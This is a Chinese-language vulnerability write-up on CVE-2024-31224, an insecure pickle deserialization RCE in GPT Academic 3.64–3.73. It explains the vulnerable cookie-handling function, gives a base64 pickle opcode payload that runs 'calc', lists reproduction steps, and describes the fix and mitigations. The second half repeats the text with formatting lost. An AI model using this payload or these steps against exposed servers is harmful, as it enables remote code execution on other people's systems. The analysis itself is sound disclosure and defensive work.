CVE-2024-31224 RCE 分析
字数 1194 2025-08-23 18:31:34

CVE-2024-31224 RCE漏洞分析与利用教学文档

1. 漏洞概述

漏洞编号: CVE-2024-31224
影响产品: GPT Academic (大型语言模型交互界面)
影响版本: 3.64至3.73版本
漏洞类型: 远程代码执行(RCE)
漏洞原因: 不安全的Pickle反序列化
修复版本: 3.74及以上
风险等级: 高危
暴露资产: Fofa搜索显示约2k+受影响资产

2. 漏洞原理

2.1 漏洞位置

漏洞存在于themes/theme.py文件中的from_cookie_str函数:

def from_cookie_str(c):
    pickled_dict = base64.b64decode(c.encode("utf-8"))
    return pickle.loads(pickled_dict)  # 危险的反序列化操作

2.2 漏洞成因

  1. 不安全的反序列化: 使用Python的pickle.loads()直接反序列化用户可控的输入
  2. 输入源可控: persistent_cookie_参数完全由用户控制
  3. 缺乏过滤: 没有任何输入验证或过滤机制

3. 漏洞利用分析

3.1 利用条件

  • 目标运行GPT Academic 3.64-3.73版本
  • 服务暴露在互联网上
  • 攻击者能够修改Cookie值

3.2 利用流程

  1. 定位攻击点: 通过"自定义功能区按钮"功能触发Cookie处理
  2. 构造恶意Payload:
    • 使用Pickle操作码构造RCE命令
    • 进行Base64编码
  3. 注入Payload:
    • 修改persistent_cookie的值为恶意Payload
    • 触发反序列化操作

3.3 漏洞验证Payload

import base64
import pickle

opcode = b'''cos
system
(S'calc'
tR.'''
opcode = base64.b64encode(opcode).decode("utf-8")
print(opcode)  # 输出: Y29zCnN5c3RlbQooUydjYWxjJwp0Ui4=

4. 漏洞复现步骤

4.1 环境搭建

  1. 下载受影响版本(如3.70):
    https://github.com/binary-husky/gpt_academic/releases/tag/version3.70
    
  2. 按照项目README进行部署

4.2 复现过程

  1. 访问GPT Academic界面
  2. 清除现有Cookie
  3. 进入"界面外观" → "自定义菜单"
  4. 构造恶意Cookie值: Y29zCnN5c3RlbQooUydjYWxjJwp0Ui4=
  5. 点击"确认并保存或加载并保存"按钮
  6. 观察计算器是否弹出(Windows系统)

5. 修复方案

5.1 官方修复

升级到3.74或更高版本:

https://github.com/binary-husky/gpt_academic/releases/tag/version3.74

5.2 临时缓解措施

  1. 修改from_cookie_str函数,使用安全的JSON替代Pickle:
import json

def from_cookie_str(c):
    decoded = base64.b64decode(c.encode("utf-8"))
    return json.loads(decoded)
  1. 限制服务仅在内网访问

6. 技术细节

6.1 Pickle反序列化风险

Pickle反序列化可以执行任意Python代码,因为:

  • 反序列化过程会重建对象
  • 可以重载__reduce__方法指定重建时的操作
  • 操作码可以包含系统命令

6.2 漏洞调用链

用户请求 → 设置persistent_cookie → from_cookie_str → pickle.loads → RCE

7. 参考链接

  1. 官方修复commit:
    https://github.com/binary-husky/gpt_academic/commit/8af6c0cab6d96f5c4520bec85b24802e6e823f35
    
  2. 阿里云漏洞库:
    https://avd.aliyun.com/detail?id=AVD-2024-31224
    
  3. Pickle反序列化原理:
    https://xz.aliyun.com/t/11807
    https://goodapple.top/archives/1069
    

8. 总结

CVE-2024-31224是一个典型的不安全反序列化漏洞,由于GPT Academic在处理用户Cookie时直接使用Pickle反序列化,导致攻击者可以构造恶意Payload实现远程代码执行。该漏洞影响范围广,利用门槛低,建议所有用户立即升级到修复版本。

CVE-2024-31224 RCE漏洞分析与利用教学文档 1. 漏洞概述 漏洞编号 : CVE-2024-31224 影响产品 : GPT Academic (大型语言模型交互界面) 影响版本 : 3.64至3.73版本 漏洞类型 : 远程代码执行(RCE) 漏洞原因 : 不安全的Pickle反序列化 修复版本 : 3.74及以上 风险等级 : 高危 暴露资产 : Fofa搜索显示约2k+受影响资产 2. 漏洞原理 2.1 漏洞位置 漏洞存在于 themes/theme.py 文件中的 from_cookie_str 函数: 2.2 漏洞成因 不安全的反序列化 : 使用Python的 pickle.loads() 直接反序列化用户可控的输入 输入源可控 : persistent_cookie_ 参数完全由用户控制 缺乏过滤 : 没有任何输入验证或过滤机制 3. 漏洞利用分析 3.1 利用条件 目标运行GPT Academic 3.64-3.73版本 服务暴露在互联网上 攻击者能够修改Cookie值 3.2 利用流程 定位攻击点 : 通过"自定义功能区按钮"功能触发Cookie处理 构造恶意Payload : 使用Pickle操作码构造RCE命令 进行Base64编码 注入Payload : 修改 persistent_cookie 的值为恶意Payload 触发反序列化操作 3.3 漏洞验证Payload 4. 漏洞复现步骤 4.1 环境搭建 下载受影响版本(如3.70): 按照项目README进行部署 4.2 复现过程 访问GPT Academic界面 清除现有Cookie 进入"界面外观" → "自定义菜单" 构造恶意Cookie值: Y29zCnN5c3RlbQooUydjYWxjJwp0Ui4= 点击"确认并保存或加载并保存"按钮 观察计算器是否弹出(Windows系统) 5. 修复方案 5.1 官方修复 升级到3.74或更高版本: 5.2 临时缓解措施 修改 from_cookie_str 函数,使用安全的JSON替代Pickle: 限制服务仅在内网访问 6. 技术细节 6.1 Pickle反序列化风险 Pickle反序列化可以执行任意Python代码,因为: 反序列化过程会重建对象 可以重载 __reduce__ 方法指定重建时的操作 操作码可以包含系统命令 6.2 漏洞调用链 7. 参考链接 官方修复commit: 阿里云漏洞库: Pickle反序列化原理: 8. 总结 CVE-2024-31224是一个典型的不安全反序列化漏洞,由于GPT Academic在处理用户Cookie时直接使用Pickle反序列化,导致攻击者可以构造恶意Payload实现远程代码执行。该漏洞影响范围广,利用门槛低,建议所有用户立即升级到修复版本。